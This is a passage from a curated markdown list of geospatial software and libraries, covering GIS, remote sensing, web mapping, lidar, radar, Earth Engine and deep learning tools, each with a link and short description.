* [eCognition](https://geospatial.trimble.com/products-and-solutions/ecognition) - GEOBIA software.
* [ENVI](http://www.harrisgeospatial.com/ProductsandSolutions/GeospatialProducts/ENVI.aspx) - Geospatial image processing and classification software.
* [ERDAS](http://www.hexagongeospatial.com/products/producer-suite/erdas-imagine) - Geospatial image processing and classification software.
* [gdal2tilesp](https://github.com/pramsey/gdal2tilesp) - This enhancement to the gdal2tiles.py script includes additional features.
* [Global Mapper](http://www.bluemarblegeo.com/products/global-mapper.php) - Geospatial and remote sensing data analysis.
* [Guidos Toolbox](http://forest.jrc.ec.europa.eu/download/software/guidos/) - Some GDAL functionalities and includes MSPA (Morphological Spatial Pattern Analysis) for connectivity maps.
* [IDL](http://www.harrisgeospatial.com/ProductsandSolutions/GeospatialProducts/IDL.aspx) - IDL is a programming language used for data analysis and image processing programming.
* [INPHO](https://geospatial.trimble.com/products-and-solutions/trimble-inpho) - INPHO is a Digital Photogrammetry Software.
* [Interimage](http://www.lvc.ele.puc-rio.br/projects/interimage/) - Open Source GEOBIA software.
* [Matlab](http://www.mathworks.com/products/matlab/) - Multi-paradigm numerical computing environment and fourth-generation programming language.
* [Metashape](https://www.agisoft.com/) - Agisoft Metashape is a stand-alone software product that performs photogrammetric processing of digital images.
* [MultiSpec](https://engineering.purdue.edu/~biehl/MultiSpec/index.html) - A Freeware Multispectral Image Data Analysis System.
* [OSSIM](http://trac.osgeo.org/ossim/) - Suite of geospatial libraries and applications used to process imagery, maps, terrain, and vector data.
* [PCI Geomatica](http://www.pcigeomatics.com/software/geomatica/professional) - Remote sensing software package for image processing
* [rasterix](https://github.com/mogasw/rasterix) - Rasterix is a cross-platform utility built around the GDAL library and the Qt framework designed to process geospatial raster data.
* [RealityCapture](https://www.realitycapture-training.com/) - Photogrammetry software.
* [SNAP](https://step.esa.int/main/download/snap-download/) - SNAP is an open source common architecture for ESA Toolboxes ideal for the exploitation of Earth Observation data.
* [Spring](http://www.dpi.inpe.br/spring/) - GIS and remote sensing image processing system with an object-oriented data model.
* [TerrSet](https://clarklabs.org/terrset/) - TerrSet (formerly IDRISI) is an integrated geographic information system (GIS) and remote sensing software
* [The Sentinel Toolbox](https://sentinel.esa.int/web/sentinel/toolboxes) - The Sentinel Toolboxes consists of a collection of processing tools, data product readers and writers and a display and analysis application to process Sentinel data.
* [TIMESAT](http://web.nateko.lu.se/timesat/timesat.asp?cat=0) - TIMESAT is a software package for analysing time-series of satellite sensor data.
* [WebODM](https://www.opendronemap.org/webodm/) - Generate maps, point clouds, DEMs and 3D models from aerial images.
## Geographic Information System
* [ArcGIS Pro](https://pro.arcgis.com/en/pro-app/) - Fully 64-bit version of ArcGIS with new GUI and 2D/3D integration.
* [ArcGIS](https://www.arcgis.com/features/) - GIS for working with maps and geographic information.
* [AutoCAD Map 3D](http://www.autodesk.com.br/products/autocad-map-3d/overview) - GIS AutoCAD integration.
* [FME Desktop](https://www.safe.com/fme/fme-desktop/) - FME is an integrated collection of Spatial ETL tools for data transformation and data translation.
* [GC2](http://www.mapcentia.com/en/product/) - GC2 is an enterprise platform GIS (open source)
* [GeoDa](http://geodacenter.github.io/) - Spatial data analysis software.
* [Geomedia](https://hexagon.com/products/geomedia) - Commercial GIS.
* [GRASS GIS](https://grass.osgeo.org/) - GRASS (Geographic Resources Analysis Support System) is a free and open source GIS.
* [gvSIG](http://www.gvsig.com/en) - Free and open source GIS.
* [ILWIS](http://52north.org/communities/ilwis/ilwis-open) - Integrated Land and Water Information System (ILWIS) is a remote sensing and GIS software.
* [LuciadFusion](http://www.luciad.com/solutions/luciadfusion) - An all-in-one server solution for your data publication workflow and geospatial data management
* [Manifold System](http://www.manifold.net/) - Commercial GIS.
* [Mapbox Studio](https://github.com/mapbox/mapbox-studio-classic) - Desktop application for vector tile driven map design.
* [MapInfo](https://www.geograph.com.br/mapinfo) - Commercial GIS.
* [MapWindow GIS](http://www.mapwindow.org/) - Free and open source desktop geographic information system.
* [MicroImages TNTgis](https://www.microimages.com/) - Commercial GIS.
* [OpenJUMP](http://openjump.org/) - Open source Java GIS.
* [QGIS](http://www.qgis.org/en/site/) - Cross-platform free and open-source desktop geographic information system.
* [SAGA](http://www.saga-gis.org/en/index.html) - SAGA is the abbreviation for System for Automated Geoscientific Analyses.
* [Smallworld](https://www.gegridsolutions.com/geospatial/catalog/smallworld_core.htm) - Commercial GIS.
* [Terraview](http://www.obt.inpe.br/OBT/assuntos/projetos/terralib-terraview) - GIS application built using the TerraLib GIS library.
* [uDig](http://udig.refractions.net/) - A GIS Framework for Eclipse (Java) and also a GIS software.
## Web Map Development
* [angular-azure-maps](https://github.com/Acaisoft/angular-azure-maps) - Angular 6 Azure Maps is a wrapped MS Azure Map on Angular.
* [ArcGIS JS App Generator](https://github.com/odoe/generator-arcgis-js-app) - This is a yeoman generator for ArcGIS API for JavaScript applications.
* [azure-maps-animations](https://github.com/Azure-Samples/azure-maps-animations) - A rich library of animations for use with the Azure Maps Web SDK.
* [azure-maps-fullscreen-control](https://github.com/Azure-Samples/azure-maps-fullscreen-control) - An Azure Maps Web SDK module that provides a control to display the map in fullscreen mode.
* [azure-maps-geolocation-control](https://github.com/Azure-Samples/azure-maps-geolocation-control) - An Azure Maps Web SDK module that provides a control that uses the browser's geolocation API to locate the user on the map.
* [azure-maps-gridded-data-source](https://github.com/Azure-Samples/azure-maps-gridded-data-source) - A module for the Azure Maps Web SDK that provides a data source that clusters data points into cells of a grid area.
* [azure-maps-selection-control](https://github.com/Azure-Samples/azure-maps-selection-control) - An Azure Maps Web SDK module that provides controls for selecting data in a data source using drawing tools or by requesting a route range polygon.
* [azure-maps-services-ui](https://github.com/Azure-Samples/azure-maps-services-ui) - A set of web UI controls that wrap the Azure Maps REST services.
* [azure-maps-swipe-map](https://github.com/Azure-Samples/azure-maps-swipe-map) - A module for the Azure Maps Web SDK that allows swiping between two overlapping maps, ideal for comparing two overlapping data sets.
* [azure-maps-sync-maps](https://github.com/Azure-Samples/azure-maps-sync-maps) - An Azure Maps Web SDK module that synchronizes the cameras of two or more maps.
* [Bertin.js](https://github.com/neocarto/bertin) - A JavaScript library for visualizing geospatial data and make thematic maps for the web.
* [CesiumJS](https://cesium.com/platform/cesiumjs/) - An open-source JavaScript library for world-class 3D globes and maps.
* [CMV - The Configurable Map Viewer](https://github.com/cmv/cmv-app) - CMV is a community-supported open source mapping framework. CMV works with the Esri JavaScript API, ArcGIS Server, ArcGIS Online and more.
* [deck.gl](https://deck.gl) - A WebGL-powered framework for visual exploratory data analysis of large datasets.
* [Flare Cluster Layer](https://github.com/nickcam/FlareClusterLayer) - ArcGIS javascript custom graphics layer. Creates clusters and creates flares for clusters.
* [geojson-vt](https://github.com/mapbox/geojson-vt) - A highly efficient JavaScript library for slicing GeoJSON data into vector tiles on the fly.
* [GeoNode](http://geonode.org/) - A web-based application and platform for developing geospatial information systems (GIS) and for deploying spatial data infrastructures (SDI).
* [Google Maps API Polyline String Decoder](https://github.com/mgd722/decode-google-maps-polyline) - Function that will convert encoded polyline strings (as returned by the Google Maps API) into a list of lat/lon pairs.
* [jVectorMap](https://jvectormap.com/) - jVectorMap is a vector-based, cross-browser and cross-platform component for interactive geography-related data visualization on the web. It provides numerious features like smooth zooming and panning, fully-customizable styling, markers, labels and tooltips.
* [L7](https://github.com/antvis/L7) - Large-scale WebGL-powered Geospatial Data Visualization By Ant Financial
* [Leaflet.MapboxVectorTile](https://github.com/SpatialServer/Leaflet.MapboxVectorTile) - A Leaflet Plugin that renders Mapbox Vector Tiles on HTML5 Canvas.
* [Leaflet](http://leafletjs.com/) - Open-Source JavaScript Library for Mobile-Friendly Interactive Maps.
* [LuciadRIA](http://www.luciad.com/solutions/luciadria) - A JavaScript library for 3D globes and maps, with support for military symbology and desktop-like performance
* [Mapbox GL JS](https://www.mapbox.com/mapbox-gl-js/api/) - Mapbox GL JS is a JavaScript library that uses WebGL to render interactive maps from vector tiles and Mapbox styles.
* [MapLibre GL](https://github.com/maplibre/maplibre-gl-js) - Is a community led fork derived from Mapbox GL JS prior to their switch to a non-OSS license.
* [Mapzen Tangram](https://github.com/tangrams/tangram) - JavaScript library for rendering 2D & 3D maps live in a web browser with WebGL, supports MVT, GeoJSON, TopoJSON.
* [Ol-ext](https://viglino.github.io/ol-ext/) - Cool extensions for OpenLayers (ol) - animated clusters, CSS popup, Font Awesome symbol renderer, charts for statistical map (pie/bar), layer switcher, wikipedia layer, animations, canvas filters.
* [OpenGlobus](https://www.openglobus.org/) - A javascript library designed to display interactive 3d maps and planets with map tiles, imagery and vector data, markers and 3d objects. It uses the WebGL technology, open source and completely free.
* [OpenLayers](http://openlayers.org/) - High-performance, feature-packed library for creating interactive maps on the web.
* [Oskari](https://oskari.org/) - Framework for easily building multipurpose web mapping applications utilizing distributed Spatial Data Infrastructures like INSPIRE.
* [react-azure-maps](https://github.com/WiredSolutions/react-azure-maps) - React Wrapper for azure-maps-control.
* [TerriaJS](https://github.com/TerriaJS/terriajs) - A library for building rich, web-based geospatial data explorers.
* [titiler](https://github.com/developmentseed/titiler) - A dynamic Web Map tile server.
* [v-mapbox](https://github.com/geospoc/v-mapbox) - Vue.js wrapper for `mapbox-gl-js`.
* [vue-azure-maps](https://github.com/rickyruiz/vue-azure-maps) - Integrate Azure Maps in your Vue application.
## Web Map Server
* [52North WPS](http://52north.org/communities/geoprocessing/wps/index.html) - The 52°North Web Processing Service (WPS) enables the deployment of geo-processes on the web in a standardized way. It features a pluggable architecture for processes and data encodings. The implementation is based on the current OpenGIS specification: 05-007r7. Its focus was the creation of an extensible framework to provide algorithms for generalization on the web.
* [Baremaps](https://www.baremaps.com/) - An open source pipeline for producing Mapbox vector tiles from OpenStreetMap with Postgis and Java.
* [Deegree](http://www.deegree.org/) - Open source software for spatial data infrastructures and the geospatial web. Deegree offers components for geospatial data management, including data access, visualization, discovery and security. Open standards are at the heart of Deegree. It supports WMS, WFS for Catalogue Service, WCS, WPS, WMTS.
* [Geoserver](http://geoserver.org/) - WMS written in Java and relies on GeoTools. Allows users to share and edit geospatial data.
* [GeoTrellis Server](https://github.com/geotrellis/geotrellis-server) - Tools for building raster processing and display services. It supports WMS, WCS, WMTS and can use individual rasters, STAC Catalogs (through the STAC API service) and GeoTrellis Layers as input raster sources.
* [MapGuide](https://mapguide.osgeo.org/) - Runs on Linux or Windows, supports Apache and IIS web servers, and has APIs (PHP, .NET, Java, and JavaScript) for application development.
* [MapProxy](http://mapproxy.org/) - An open source tile server proxy for geospatial data (WMS-C, TMS, WMTS, KML SuperOverlays). It caches, accelerates and transforms data from existing map services and serves any desktop or web GIS client.
* [Mapserver](http://mapserver.org/) - WMS written in C.
* [MapTiler Server](https://www.maptiler.com/server/) - Map server for self-hosting. Publish interactive maps to get map services from your own server or laptop.
* [Nanocubes](https://github.com/laurolins/nanocube) - An in-memory data structure for spatiotemporal data cubes.
* [PGRestAPI](https://github.com/spatialdev/PGRestAPI) - Node.js REST API for PostGres Spatial Entities. AKA: SpatialServer.
* [Terracotta](https://github.com/DHI-GRAS/terracotta) - A light-weight, versatile XYZ tile server. MIT-licensed, pure Python, serving Cloud-Optimized GeoTIFF (COG).
* [THREDDS](https://github.com/Unidata/thredds) - The THREDDS Data Server (TDS) is a web server that provides metadata and data access for scientific data sets, using OPeNDAP, OGC WCS, HTTP, and other data access protocols.
* [utilery](https://github.com/tilery/utilery) - Micro vector tile manufacturing from PostGIS.
* [Zoo Project WPS](http://www.zoo-project.org/) - A WPS (Web Processing Service) implementation written in C, Python and JavaScript. It is an open source platform which implements the WPS 1.0.0 and WPS 2.0.0 standards edited by the Open Geospatial Consortium (OGC). It provides a developer-friendly framework for creating and chaining WPS compliant Web Services.
## Radar
* [GAMMA](https://www.gamma-rs.ch/software) - Allows processing of SAR, interferometric SAR (InSAR) and differential interferometric SAR (DInSAR).
* [GMT5SAR](https://topex.ucsd.edu/gmtsar/) - InSAR processing system based on GMT.
* [LiCSBAS](https://github.com/yumorishita/LiCSBAS) - LiCSBAS is an open-source package in Python and bash to carry out InSAR time series analysis using LiCSAR products.
* [NANSAT](https://github.com/nansencenter/nansat) - Nansat is a scientist friendly Python toolbox for processing 2D satellite earth observation data.
* [PolSARpro](https://earth.esa.int/web/polsarpro) - Open source radar image data processing software.
* [PyRate](https://github.com/GeoscienceAustralia/PyRate) - A Python tool for estimating velocity and time-series from Interferometric Synthetic Aperture Radar (InSAR) data.
* [pyroSAR](https://github.com/johntruckenbrodt/pyroSAR) - A Python Framework for Large-Scale SAR Satellite Data Processing.
* [PySAR](https://github.com/insarlab/PySAR) - InSAR time series analysis in Python.
* [SARbian](https://eo-college.org/sarbian/) - Free and open SAR operating system (based on Debian Linux).
* [Sarmap](https://www.sarmap.ch/index.php/software/sarscape/) - Synthetic Aperture Radar processing software.
* [SARPROZ](https://www.sarproz.com/) - Implements a wide range of Synthetic Aperture Radar (SAR), Interferometric SAR (InSAR) and Multi-Temporal InSAR processing techniques.
* [Sentinel Toolboxes](https://sentinel.esa.int/web/sentinel/toolboxes) - Free open source toolboxes for the scientific exploitation of the Sentinel missions.
## Lidar
* [CloudCompare](https://www.danielgm.net/cc/) - 3D point cloud processing software.
* [DielmoOpenLidar](http://www.dielmo.com/eng/ficha-tecnologia-software.php?prod=21) - Open source software based in gvSIG for the management of LiDAR data.
* [displaz](https://github.com/c42f/displaz) - A hackable lidar viewer.
* [Entwine](https://github.com/connormanning/entwine) - Point cloud indexing for massive datasets.
* [FullAnalyze](https://code.google.com/archive/p/fullanalyze/) - Handling, visualizing and processing lidar data (3D point clouds and waveforms).
* [Fusion](http://forsys.cfr.washington.edu/fusion/fusionlatest.html) - CLI/GUI Lidar software.
* [Global Mapper Lidar Module](https://www.bluemarblegeo.com/products/global-mapper-lidar.php) - Lidar module for Global Mapper.
* [greyhound](https://github.com/hobu/greyhound) - A point cloud streaming framework for dynamic web services and native applications.
* [Laspy](http://laspy.readthedocs.io/en/latest/) - Laspy is a python library for reading, modifying, and creating .LAS LIDAR files.
* [LAStools](http://www.cs.unc.edu/~isenburg/lastools/) - A collection of highly-efficient, scriptable tools with multi-core batching that process LAS, compressed LAZ, Terrasolid BIN, .shp, and ASCII.
* [LASzip](https://laszip.org/) - Quickly turns bulky LAS files into compact LAZ files without information loss.
* [libLAS](https://liblas.org/) - libLAS is a C/C++ library for reading and writing the very common LAS LiDAR format.
* [lidar](https://github.com/jblindsay/lidar) - A Crystal language library for reading and writing LiDAR data in LAS format.
* [lidario](https://github.com/jblindsay/lidario) - A small Go library for reading and writing LiDAR (LAS) files.
* [lidR](https://github.com/Jean-Romain/lidR) - R package for airborne LiDAR data manipulation and visualisation for forestry application.
* [MCC-LIDAR](https://sourceforge.net/projects/mcclidar/) - Multiscale Curvature Classification for LIDAR Data.
* [PDAL](http://www.pdal.io/) - PDAL is a C++ BSD library for translating and manipulating point cloud data.
* [plas.io](https://plas.io/) - WebGL point cloud rendering.
* [potree](https://github.com/potree/potree/) - Potree is a free open-source WebGL based point cloud renderer for large point clouds. PotreeConverter provides all files to view your point cloud with only a basic webserver running.
* [pyGEDI](https://github.com/EduinHSERNA/pyGEDI) - pyGEDI provides a high performance, lower cognitive load, and cleaner and more transparent code for data extraction, analysis, processing, and visualization of GEDI's products.
* [PyLAS](https://pypi.python.org/pypi/PyLAS) - A python library for reading and writing LAS files.
* [Quick Terrain Modeler](http://appliedimagery.com/) - Proprietary LiDAR exploitation software by Applied Imagery.
* [rGEDI](https://github.com/carlos-alberto-silva/rGEDI) - An R Package for NASA's Global Ecosystem Dynamics Investigation (GEDI) Data Visualization and Processing.
* [The Point Cloud Library - PCL](https://pointclouds.org/) - Standalone, large scale, open project for 2D/3D image and point cloud processing.
* [TopoDOT](https://new.certainty3d.com/) - Proprietary software for extracting topography, 3D models, GIS Assets, and more from point cloud data.
* [Treetop](https://github.com/carlos-alberto-silva/weblidar-treetop) - A Shiny-based Application for Extracting Forest Information from LiDAR data.
## 3D Application
* [3dcitybuilder](https://github.com/arthurRuf/3dcitybuilder) - QGIS Plugin that generates 3D Models of Urban Areas.
* [3dfier](https://github.com/tudelft3d/3dfier) - The open-source tool for creation of 3D models.
* [ArcGIS Earth](http://www.esri.com/software/arcgis-earth) - Display data, sketch placemarks, measure distances and areas, and add annotations at any part of the world
* [CityEngine](http://www.esri.com/software/cityengine/) - Transform 2D GIS Data into Smart 3D City Models
* [Google Earth](http://earth.google.com/) - Bringing a earth view for global mapping
* [Open3D](http://www.open3d.org/) - Open-source library that supports rapid development of software that deals with 3D data. The Open3D frontend exposes a set of carefully selected data structures and algorithms in both C++ and Python.
* [Skyline](http://www.skylineglobe.com/SkylineGlobe/corporate/Default.aspx?) - A glimpse into Skyline's cutting-edge 3D geospatial visualization products, and their potential to transform the way your organization makes decisions, shares information and manages its assets
* [World Wind](http://worldwind.arc.nasa.gov/java/) - Providing features for displaying with geographic data
## Geographic Data Mining
* [GeoDMA](https://sourceforge.net/projects/geodma/) - GeoDMA is a plugin for TerraView software, used for geographical data mining.
* [Weka](http://www.cs.waikato.ac.nz/ml/weka/) - Weka is a collection of machine learning algorithms for data mining tasks written in Java.
## Atmospheric Correction
* [6S](http://6s.ltdri.org/) - Second Simulation of the Satellite Signal in the Solar Spectrum (6S) open source algorithm.
* [6S_emulator](https://github.com/samsammurphy/6S_emulator) - The 6S emulator is an open-source atmospheric correction tool. It is based on the 6S radiative transfer model but it runs 100x faster with minimal additional error (i.e. < 0.5 %).
* [ACOLITE_MR](https://github.com/acolite/acolite_mr) - Atmospheric correction for aquatic applications of metre-scale satellites.
* [ARCSI](https://github.com/remotesensinginfo/arcsi) - The Atmospheric and Radiometric Correction of Satellite Imagery (ARCSI) software provides a command line tool for the generation of Analysis Ready Data (ARD) optical data including atmospheric correction, cloud masking, topographic correction etc.
* [ATCOR](http://www.atcor.de/) - ERDAS Imagine module.
* [gee-atmcorr-S2](https://github.com/samsammurphy/gee-atmcorr-S2) - Atmospheric correction of Sentinel 2 imagery in Google Earth Engine using Py6S.
* [i.atcorr](https://grass.osgeo.org/grass70/manuals/i.atcorr.html) - GRASS GIS module that performs atmospheric correction using the 6S algorithm.
* [Py6S](https://py6s.readthedocs.io/en/latest/) - Py6S is a interface to the Second Simulation of the Satellite Signal in the Solar Spectrum (6S) atmospheric Radiative Transfer Model through the Python programming language.
* [radiometric_normalization](https://github.com/planetlabs/radiometric_normalization) - Implementation of radiometric normalization workflows.
* [sen2cor](http://step.esa.int/main/third-party-plugins-2/sen2cor/) - is a processor for Sentinel-2 Level 2A product generation and formatting; it performs the atmospheric-, terrain and cirrus correction of Top-Of- Atmosphere Level 1C input data.
* [SIAC](https://github.com/MarcYin/SIAC) - A sensor invariant Atmospheric Correction (SIAC).
* [SIAC_GEE](https://github.com/MarcYin/SIAC_GEE) - SIAC GEE version.
## Agent-based Modeling
* [DMASON](https://github.com/isislab-unisa/dmason) - DMASON is a parallel version of the MASON library for writing and running simulations of Agent based simulation models.
* [MASON](https://cs.gmu.edu/~eclab/projects/mason/) - MASON is a fast discrete-event multiagent simulation library core in Java, designed to be the foundation for large custom-purpose Java simulations, and also to provide more than enough functionality for many lightweight simulation needs. MASON contains both a model library and an optional suite of visualization tools in 2D and 3D.
* [Mesa](https://github.com/projectmesa/mesa) - Mesa is an Apache2 licensed agent-based modeling (or ABM) framework in Python.
* [NetLogo](https://ccl.northwestern.edu/netlogo/) - NetLogo is a multi-agent programmable modeling environment.
* [nlrx](https://github.com/ropensci/nlrx) - Provides tools to setup and execute NetLogo simulations from R.
* [Repast](https://repast.github.io/) - The Repast Suite is a family of advanced, free, and open source agent-based modeling and simulation platforms.
* [SpaDES](https://spades.predictiveecology.org/) - Metapackage for implementing a variety of event-based models, with a focus on spatially explicit models. These include raster-based, event-based, and agent-based models.
## Landscape Metrics
* [Fragstats](https://fragstats.org/) - Spatial Pattern Analysis Program for Categorical Maps.
* [landscapemetrics](https://github.com/r-spatialecology/landscapemetrics) - landscapemetrics is an R package for calculating landscape metrics for categorical landscape patterns in a tidy workflow.
* [LS_METRICS](https://github.com/LEEClab/LS_METRICS) - A tool for calculating landscape connectivity and other ecologically scaled landscape metrics
* [Makurhini](https://github.com/connectscape/Makurhini) - R package for calculating fragmentation and landscape connectivity indices used in conservation planning.
* [nlmpy](https://pypi.org/project/nlmpy/) - A Python package to create neutral landscape models.
* [NLMR](https://github.com/ropensci/NLMR) - R package to simulate neutral landscape models.
* [PyLandStats](https://github.com/martibosch/pylandstats) - An open-source Pythonic library to compute landscape metrics.
## Landscape Modelling
* [GLOBIOM](https://iiasa.ac.at/web/home/research/GLOBIOM/GLOBIOM.html) - Global Biosphere Management Model (GLOBIOM) is used to analyze the competition for land use between agriculture, forestry, and bioenergy, which are the main land-based production sectors.
* [InVEST](https://naturalcapitalproject.stanford.edu/software/invest) - InVEST (Integrated Valuation of Ecosystem Services and Tradeoffs) is a suite of models used to map and value the goods and services from nature that sustain and fulfill human life.
* [MARXAN](https://marxansolutions.org/) - Marxan is freely available conservation planning software. It provides decision support to a range of conservation planning problems, including the design of new reserve systems, reporting on the performance of existing reserve systems, and developing multiple-use zoning plans for natural resource management.
* [prioriactions](https://github.com/prioriactions/prioriactions) - The prioriactions R package uses a mixed integer mathematical programming (MIP) approach for building and solving multi-action conservation planning problems, where the goal is to find an optimal combination of management actions that abate threats, in an efficient way while accounting for connectivity.
* [prioritizr](https://github.com/prioritizr/prioritizr) - R package that uses integer linear programming (ILP) techniques to provide a flexible interface for building and solving conservation planning problems.
* [Zonation](http://conservationcorridor.org/corridor-toolbox/programs-and-tools/zonation/) - Zonation produces a hierarchical prioritization of the landscape based on the occurrence levels of biodiversity features in sites (cells) by iteratively removing the least valuable remaining cell while accounting for connectivity and generalized complementarity.
## Libraries
* [GDAL](http://www.gdal.org/) - Geospatial Data Abstraction Library (GDAL) is a translator library for raster and vector geospatial data formats.
* [GeographicLib](http://geographiclib.sourceforge.net/) - For solving geodesic problems. Implemented in C, C++, Java, Javascript, Fortran, Python and Matlab.
* [Geolib](http://www.geolib.co.uk/) - GeoLib is a fast, efficient, computational geometry library available in C++, C# and Java.
* [Mapnik](http://mapnik.org/) - C++/Python/Node.js library for map rendering.
* [MDAL](https://github.com/lutraconsulting/MDAL) - Mesh Data Abstraction Library.
* [pgRouting](http://pgrouting.org/) - Extends the PostGIS / PostgreSQL geospatial database to provide geospatial routing functionality.
* [PointCloud](https://github.com/pgpointcloud/pointcloud) - A PostgreSQL extension for storing point cloud (LIDAR) data.
* [Terralib](http://www.terralib.org/) - TerraLib is a GIS classes and functions open source library.
* [TerraMA2](https://github.com/TerraMA2/terrama2) - A free and open source computational platform for early warning systems.
## PaaS - Platform as a Service
* [ArcGIS Platform](https://www.esri.com/en-us/arcgis/products/arcgis-platform/overview) - Esri's PaaS with multiple location services and developer APIs.
* [Google Maps API](https://developers.google.com/maps/) - Google's PaaS (Platform as a Service) for Geocoding or analysis/processing services.
* [Mapbox GL JS](https://www.mapbox.com/mapbox-gl-js/api/) - MapBox WebGL Javascript API.
* [Mapbox.js](https://www.mapbox.com/mapbox.js/api/v2.4.0/) - MapBox Javascript API.
* [Microsoft Bing API](https://www.microsoft.com/en-us/maps) - Microsoft Bing Maps API.
* [OpenStreetMap API](http://wiki.openstreetmap.org/wiki/API_v0.6) - OpenStreetMap API.
## SaaS - Software as a Service
* [ArcGIS Online](https://www.arcgis.com/home/) - ArcGIS Online GIS platform for mapping and spatial analysis.
* [ARLAS](https://www.arlas.io/) - ARLAS Exploration is an Open Source software for exploring and analysing Geo BigData.
* [Carto](https://carto.com/) - Cloud computing platform that provides GIS and web mapping tools for display in a web browser.
* [CSV2GEO](https://csv2geo.com) - Batch geocoder using excel/csv file, text or API as an input and get latitude, longitude and an interactive map as output.
* [Fulcrum](http://www.fulcrumapp.com/) - A mobile data collection platform that allows you to build, deploy, & collect field data with your own customizable data collection apps.
* [GIS Cloud](https://www.giscloud.com/) - Real-time mapping platform for the entire workflow of your organization.
* [Mapbox](https://www.mapbox.com/) - Plataform for web map design and manipulation.
* [MapTiler Cloud](https://www.maptiler.com/cloud/) - Maps API for web & mobile developers. Customize maps, upload or create own geodata and publish online.
* [Mergin Maps](https://merginmaps.com/) - A mobile data collection open-source platform for field data surveys based on QGIS. Available as service or self-hosted.
* [NextGIS](http://nextgis.com/) - A cloud geospatial service that allows you to create web GIS right in the browser.
* [OpenCage Geocoding API](https://geocoder.opencagedata.com/) - An API aggregating multiple open geo datasources (OpenStreetMap and others).
* [OpenMapTiles](https://openmaptiles.com/) - Vector tiles and map services as service, self-hosted or off-line.
## DaaS - Data as a Service
* [Apple Maps](https://mapsconnect.apple.com/) - Apple map service.
* [Google Maps](https://www.google.com.br/maps) - Google map service.
* [Microsoft Bing Maps](http://www.bing.com/mapspreview) - Microsoft map service.
* [OpenStreetMap](http://www.openstreetmap.org/) - OpenStreeMap map service.
## Google Earth Engine
* [AREA2](https://area2.readthedocs.io/en/latest/overview.html) - AREA 2 (“area squared” or “area two”), short for Area Estimation & Accuracy Assessment, is a Google Earth Engine application that provides comprehensive support for sampling and estimation in a design-based inference framework.
* [BAP-GEE](https://github.com/saveriofrancini/bap) - Best Available Pixel calculation using Google Earth Engine.
* [earthEngineGrabR](https://github.com/JesJehle/earthEngineGrabR) - The earthEngineGrabR is an interface between R and the Google Earth Engine, which simplifies the acquisition of remote sensing data.
* [EarthEngine.jl](https://github.com/KMarkert/EarthEngine.jl) - Google Earth Engine in Julia.
* [ee-fastapi](https://github.com/csaybar/ee-fastapi) - Flood Detection with Google Earth Engine.
* [ee-goes](https://github.com/jdbcode/ee-goes) - An Earth Engine JavaScript library for visualizing GOES-R time series.
* [ee-rgb-timeseries](https://github.com/jdbcode/ee-rgb-timeseries) - Earth Engine JS module to color time series chart points as stretched 3-band RGB.
* [eemont](https://github.com/davemlz/eemont) - A python package that extends Google Earth Engine.
* [exploreRGEE](https://github.com/joshualerickson/exploreRGEE) - Google Earth Engine (GEE) in the Rstudio IDE.
* [gee-atmcorr-S2](https://github.com/samsammurphy/gee-atmcorr-S2) - Atmospheric correction of Sentinel 2 imagery in Google Earth Engine using Py6S.
* [geemap](https://github.com/giswqs/geemap) - A Python package for interactive mapping with Google Earth Engine, ipyleaflet, and ipywidgets.
* [gee_s1_ard](https://github.com/adugnag/gee_s1_ard) - Creates an analysis ready sentinel-1 SAR image collection in Google Earth Engine by applying additional border noise correction, speckle filtering and radiometric terrain normalization.
* [GEET](https://github.com/sacridini/GEET) - Google Earth Engine Toolbox - Library to write small EE apps or big/complex apps with a lot less code.
* [geeup](https://github.com/samapriya/geeup) - Simple CLI for Earth Engine Uploads.
* [landsat-extract-gee](https://github.com/loicdtx/landsat-extract-gee) - Get Landsat surface reflectance time-series from google earth engine.
* [msslib](https://github.com/gee-community/msslib) - An Earth Engine JavaScript library for working with Landsat MSS image data.
* [OEEex](https://github.com/open-geocomputing/OEEex) - A chrome extension to enhance Google Earth Engine code editor.
* [OpenEarthEngineLibrary](https://github.com/open-geocomputing/OpenEarthEngineLibrary) - Collection of code goodies for Google Earth Engine(GEE).
* [restee](https://kmarkert.github.io/restee/) - Aims to make plugging Earth Engine (EE) computations into downstream Python processing easier.
* [rgee](https://github.com/r-spatial/rgee) - Google Earth Engine for R.
* [sankee](https://github.com/aazuspan/sankee) - Visualize classified time series data with interactive Sankey plots in Google Earth Engine.
* [spectral](https://github.com/awesome-spectral-indices/spectral) - Awesome Spectral Indices for the Google Earth Engine JavaScript API (Code Editor).
* [wxee](https://github.com/aazuspan/wxee) - A Python interface between Earth Engine and xarray for processing weather and climate data.
## Deep Learning
* [AIDE](https://github.com/microsoft/aerial_wildlife_detection) - Annotation Interface for Data-driven Ecology: Tools for detecting wildlife in aerial images using active learning
* [AirNet](https://github.com/mathildor/TF-SegNet) - SegNet-like network implemented in TensorFlow to use for segmenting aerial images.
* [Deep Learning ArcGIS](https://github.com/Esri/deep-learning-frameworks) - Deep Learning Libraries Installers for ArcGIS.
* [DeepForest](https://github.com/weecology/DeepForest) - Python Package for Tree Crown Detection in Airborne RGB imagery.
* [eo-learn](https://github.com/sentinel-hub/eo-learn) - Earth observation processing framework for machine learning in Python.
* [Hyperspectral](https://github.com/KGPML/Hyperspectral) - Deep Learning for Land-cover Classification in Hyperspectral Images.
* [Label Maker](https://github.com/developmentseed/label-maker) - Data Preparation for Satellite Machine Learning.
* [libtorch-yolov3](https://github.com/walktree/libtorch-yolov3) - A Libtorch implementation of the YOLO v3 object detection algorithm.
* [LightNet](https://github.com/ansleliu/LightNet) - LightNet: Light-weight Networks for Semantic Image Segmentation (Cityscapes and Mapillary Vistas Dataset)
* [mmsegmentation](https://github.com/open-mmlab/mmsegmentation) - MMSegmentation is an open source semantic segmentation toolbox based on PyTorch. It is a part of the OpenMMLab project.
* [Pixel Decoder](https://github.com/Geoyi/pixel-decoder) - A machine learning python package to run deep learning with satellite imagery.
* [PixelLib](https://github.com/ayoolaolafenwa/PixelLib) - Pixellib is a library for performing segmentation of images. It suports both Semantic Segmentation as Instance Segmentation.
* [platypus](https://github.com/maju116/platypus) - R package for object detection and image segmentation.
* [Presto](https://github.com/nasaharvest/presto) - Lightweight, Pre-trained Transformers for Remote Sensing Timeseries.
* [Raster Vision](https://github.com/azavea/raster-vision) - An open source framework for deep learning on satellite and aerial imagery.
* [segment-geospatial](https://github.com/opengeos/segment-geospatial) - Meta AI' Segment Anything Model (SAM) for Geospatial Data
* [sentinel-tree-cover](https://github.com/wri/sentinel-tree-cover) - Image segmentations of trees outside forest.
* [ShelfNet](https://github.com/juntang-zhuang/ShelfNet) - Implementation of a CNN model for real-time semantic segmentation.
